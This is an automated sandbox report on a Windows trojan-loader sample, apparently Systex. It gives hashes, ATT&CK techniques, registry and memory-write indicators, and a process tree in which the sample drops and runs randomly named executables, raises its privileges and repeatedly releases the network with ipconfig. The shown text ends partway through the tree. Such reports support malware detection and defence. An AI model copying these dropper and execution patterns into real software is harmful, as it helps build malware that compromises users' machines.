systex | 47992bc79f1e56c690a2c5eda1da3ae24259594f162d04b986258668c6e206be

Analysis

max time kernel
149s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/09/2026, 08:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
Size 384KB
Sample260930-j8rfws1hrc
SHA256 47992bc79f1e56c690a2c5eda1da3ae24259594f162d04b986258668c6e206be
MD5 b6636bf2aabab38fdf2357b13f16e1f9
SHA1 68831dcc0c40328a7c3cb4455e8e47cc4aa2e410
SHA512 e2ee6a9e9459781e487a6cbe9ae965263e38653c14dcc75377de3b93b54985af5706b77215d01f0295b02f1587e8ed85486999779c00e2fb917ff44444261ed8
SSDEEP 3072:jbtF73aMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pyj:jbtt/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T1E8847B04BAA4F0F6C895043800DFAF36A67EB4281726CBC7F754CE5D9A417C3A93569B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
5368	rljebwtomgeywtol.exe
5812	rljebwtomgeywtol.sys
2944	CreateProcess.exe
3420	rljdbvtrlj.exe
5920	CreateProcess.exe
2600	CreateProcess.exe
4632	i_rljdbvtrlj.exe
2156	vqoigaytql.sys
1640	CreateProcess.exe
3844	qoigbytqlj.exe
5888	CreateProcess.exe
4828	CreateProcess.exe
2648	i_qoigbytqlj.exe
2520	lfdyvqolgd.sys
1240	CreateProcess.exe
3500	ysqnlfdavs.exe
3352	CreateProcess.exe
2756	CreateProcess.exe
4084	i_ysqnlfdavs.exe
2720	snlidavsnl.sys
1976	CreateProcess.exe
4600	vsnkidavsn.exe
1160	CreateProcess.exe
2156	CreateProcess.exe
2848	i_vsnkidavsn.exe
1636	hfaxsqkica.sys
2164	CreateProcess.exe
5432	fcausnkfcx.exe
5788	CreateProcess.exe
5328	CreateProcess.exe
2176	i_fcausnkfcx.exe
5488	xspkhcausm.sys
4388	CreateProcess.exe
2896	rpmhfzxrpk.exe
1264	CreateProcess.exe
5344	CreateProcess.exe
6036	i_rpmhfzxrpk.exe
2948	usmkecausm.sys
3264	CreateProcess.exe
2072	jheztrpjhb.exe
3336	CreateProcess.exe
4476	CreateProcess.exe
852	i_jheztrpjhb.exe
1808	mjhbztromk.sys
244	CreateProcess.exe
4640	omjhbztrmj.exe
2904	CreateProcess.exe
2900	CreateProcess.exe
2136	i_omjhbztrmj.exe
1704	bztrojgbyw.sys
4660	CreateProcess.exe
2748	wtoljebwuo.exe
2752	CreateProcess.exe
4592	CreateProcess.exe
1632	i_wtoljebwuo.exe
1780	olgdbvtqlj.sys
4632	CreateProcess.exe
3108	ljdbvtnljd.exe
976	CreateProcess.exe
616	CreateProcess.exe
1784	i_ljdbvtnljd.exe
1344	gdbvtolgdy.sys
1816	CreateProcess.exe
4076	vtnlfdxvqn.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3384_1412365296\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3384_175957133\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3384_237798560\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3384_237798560\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3384_2018365052\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3384_2018365052\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3384_2018365052\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3384_2018365052\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3384_1412365296\manifest.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpmhfzxrpk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wtoljebwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ljdbvtnljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ljdbvtnljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wurmjhbzxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qolgdbztqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qlidbvtnlg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoigbytqlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoigbytqlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fcausnkfcx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpmhfzxrpk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omjhbztrmj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wtoljebwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtnlfdxvqn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dxvpnifays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xuspnhfcxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zurmkecwup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gezwrojebw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rljdbvtrlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vsnkidavsn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vsnkidavsn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fcausnkfcx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ifdyvqniga.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ifdyvqniga.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtnlfdxvqn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zurmkecwup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rljebwtomgeywtol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jheztrpjhb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xuspnhfcxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qlidbvtnlg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rljdbvtrlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jheztrpjhb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omjhbztrmj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wurmjhbzxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gezwrojebw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ysqnlfdavs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ysqnlfdavs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dxvpnifays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qolgdbztqo.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5516	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 19 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3148	ipconfig.exe
3832	ipconfig.exe
5976	ipconfig.exe
4536	ipconfig.exe
2972	ipconfig.exe
4180	ipconfig.exe
432	ipconfig.exe
2352	ipconfig.exe
2284	ipconfig.exe
2252	ipconfig.exe
4272	ipconfig.exe
5544	ipconfig.exe
1268	ipconfig.exe
3864	ipconfig.exe
708	ipconfig.exe
3876	ipconfig.exe
5220	ipconfig.exe
3388	ipconfig.exe
3624	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-461973139-3212354679-1508698038-1000\{F1BEECC5-B05E-49A4-A61E-6ADD423A275E}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
5368	rljebwtomgeywtol.exe
5368	rljebwtomgeywtol.exe
5368	rljebwtomgeywtol.exe
5368	rljebwtomgeywtol.exe
5368	rljebwtomgeywtol.exe
5368	rljebwtomgeywtol.exe
5368	rljebwtomgeywtol.exe
5368	rljebwtomgeywtol.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
3384	msedge.exe
3384	msedge.exe
3384	msedge.exe
3384	msedge.exe
3384	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	4632	i_rljdbvtrlj.exe
Token: SeDebugPrivilege	2648	i_qoigbytqlj.exe
Token: SeDebugPrivilege	4084	i_ysqnlfdavs.exe
Token: SeDebugPrivilege	2848	i_vsnkidavsn.exe
Token: SeDebugPrivilege	2176	i_fcausnkfcx.exe
Token: SeDebugPrivilege	6036	i_rpmhfzxrpk.exe
Token: SeDebugPrivilege	852	i_jheztrpjhb.exe
Token: SeDebugPrivilege	2136	i_omjhbztrmj.exe
Token: SeDebugPrivilege	1632	i_wtoljebwuo.exe
Token: SeDebugPrivilege	1784	i_ljdbvtnljd.exe
Token: SeDebugPrivilege	4244	i_vtnlfdxvqn.exe
Token: SeDebugPrivilege	6036	i_ifdyvqniga.exe
Token: SeDebugPrivilege	2424	i_dxvpnifays.exe
Token: SeDebugPrivilege	3372	i_xuspnhfcxu.exe
Token: SeDebugPrivilege	4644	i_zurmkecwup.exe
Token: SeDebugPrivilege	3680	i_wurmjhbzxr.exe
Token: SeDebugPrivilege	1724	i_gezwrojebw.exe
Token: SeDebugPrivilege	5696	i_qolgdbztqo.exe
Token: SeDebugPrivilege	5056	i_qlidbvtnlg.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3384	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4156 wrote to memory of 5368	4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe	89
PID 4156 wrote to memory of 2468	4156	2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe	90
PID 2468 wrote to memory of 3384	2468	iexplore.exe	91
PID 3384 wrote to memory of 3164	3384	msedge.exe	92
PID 3384 wrote to memory of 4896	3384	msedge.exe	93
PID 3384 wrote to memory of 5516	3384	msedge.exe	95
PID 3384 wrote to memory of 4896	3384	msedge.exe	93
PID 3384 wrote to memory of 4896	3384	msedge.exe	93
PID 3384 wrote to memory of 5592	3384	msedge.exe	96
PID 3384 wrote to memory of 5592	3384	msedge.exe	96
PID 3384 wrote to memory of 2600	3384	msedge.exe	119
PID 3384 wrote to memory of 2600	3384	msedge.exe	119
PID 3384 wrote to memory of 2600	3384	msedge.exe	119
PID 3384 wrote to memory of 3932	3384	msedge.exe	98
PID 3384 wrote to memory of 3932	3384	msedge.exe	98
PID 3384 wrote to memory of 3932	3384	msedge.exe	98
PID 3384 wrote to memory of 5252	3384	msedge.exe	99
PID 3384 wrote to memory of 5252	3384	msedge.exe	99
PID 3384 wrote to memory of 5252	3384	msedge.exe	99
PID 3384 wrote to memory of 5660	3384	msedge.exe	100
PID 3384 wrote to memory of 5660	3384	msedge.exe	100
PID 3384 wrote to memory of 5660	3384	msedge.exe	100
PID 3384 wrote to memory of 5768	3384	msedge.exe	102
PID 3384 wrote to memory of 5768	3384	msedge.exe	102
PID 3384 wrote to memory of 3508	3384	msedge.exe	106
PID 3384 wrote to memory of 3268	3384	msedge.exe	105
PID 3384 wrote to memory of 3508	3384	msedge.exe	106
PID 3384 wrote to memory of 3268	3384	msedge.exe	105
PID 5368 wrote to memory of 2944	5368	rljebwtomgeywtol.exe	107
PID 3384 wrote to memory of 4688	3384	msedge.exe	110
PID 3420 wrote to memory of 5920	3420	rljdbvtrlj.exe	112
PID 3384 wrote to memory of 4508	3384	msedge.exe	115
PID 3384 wrote to memory of 4508	3384	msedge.exe	115
PID 3384 wrote to memory of 5568	3384	msedge.exe	118
PID 3384 wrote to memory of 5568	3384	msedge.exe	118
PID 5368 wrote to memory of 2600	5368	rljebwtomgeywtol.exe	119
PID 5368 wrote to memory of 1640	5368	rljebwtomgeywtol.exe	123
PID 3844 wrote to memory of 5888	3844	qoigbytqlj.exe	125
PID 5368 wrote to memory of 4828	5368	rljebwtomgeywtol.exe	128
PID 5368 wrote to memory of 1240	5368	rljebwtomgeywtol.exe	132
PID 3500 wrote to memory of 3352	3500	ysqnlfdavs.exe	134
PID 5368 wrote to memory of 2756	5368	rljebwtomgeywtol.exe	137
PID 5368 wrote to memory of 1976	5368	rljebwtomgeywtol.exe	142
PID 4600 wrote to memory of 1160	4600	vsnkidavsn.exe	144
PID 5368 wrote to memory of 2156	5368	rljebwtomgeywtol.exe	147
PID 3384 wrote to memory of 1792	3384	msedge.exe	149
PID 3384 wrote to memory of 5656	3384	msedge.exe	150
PID 3384 wrote to memory of 3048	3384	msedge.exe	151
PID 5368 wrote to memory of 2164	5368	rljebwtomgeywtol.exe	154
PID 5432 wrote to memory of 5788	5432	fcausnkfcx.exe	156
PID 5368 wrote to memory of 5328	5368	rljebwtomgeywtol.exe	159
PID 5368 wrote to memory of 4388	5368	rljebwtomgeywtol.exe	163
PID 2896 wrote to memory of 1264	2896	rpmhfzxrpk.exe	165
PID 5368 wrote to memory of 5344	5368	rljebwtomgeywtol.exe	168
PID 5368 wrote to memory of 3264	5368	rljebwtomgeywtol.exe	172
PID 2072 wrote to memory of 3336	2072	jheztrpjhb.exe	174
PID 5368 wrote to memory of 4476	5368	rljebwtomgeywtol.exe	177
PID 5368 wrote to memory of 244	5368	rljebwtomgeywtol.exe	181
PID 4640 wrote to memory of 2904	4640	omjhbztrmj.exe	183
PID 5368 wrote to memory of 2900	5368	rljebwtomgeywtol.exe	186
PID 3384 wrote to memory of 3288	3384	msedge.exe	188
PID 3384 wrote to memory of 3288	3384	msedge.exe	188
PID 5368 wrote to memory of 4660	5368	rljebwtomgeywtol.exe	194
PID 2748 wrote to memory of 2752	2748	wtoljebwuo.exe	196

C:\Users\Admin\AppData\Local\Temp\2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-30_b6636bf2aabab38fdf2357b13f16e1f9_amadey_darkgate_elex_smoke-loader_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4156
- C:\Temp\rljebwtomgeywtol.exe
  C:\Temp\rljebwtomgeywtol.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5368
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rljdbvtrlj.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2944
  - - C:\Temp\rljdbvtrlj.exe
      C:\Temp\rljdbvtrlj.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3420
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5920
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5220
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rljdbvtrlj.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2600
  - - C:\Temp\i_rljdbvtrlj.exe
      C:\Temp\i_rljdbvtrlj.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4632
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qoigbytqlj.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1640
  - - C:\Temp\qoigbytqlj.exe
      C:\Temp\qoigbytqlj.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3844
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5888
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5544
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qoigbytqlj.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4828
  - - C:\Temp\i_qoigbytqlj.exe
      C:\Temp\i_qoigbytqlj.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2648
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ysqnlfdavs.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1240
  - - C:\Temp\ysqnlfdavs.exe
      C:\Temp\ysqnlfdavs.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3500
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3352
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2352
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ysqnlfdavs.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2756
  - - C:\Temp\i_ysqnlfdavs.exe
      C:\Temp\i_ysqnlfdavs.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4084
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vsnkidavsn.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1976
  - - C:\Temp\vsnkidavsn.exe
      C:\Temp\vsnkidavsn.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4600
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1160
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3388
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vsnkidavsn.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2156
  - - C:\Temp\i_vsnkidavsn.exe
      C:\Temp\i_vsnkidavsn.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2848
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\fcausnkfcx.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2164
  - - C:\Temp\fcausnkfcx.exe
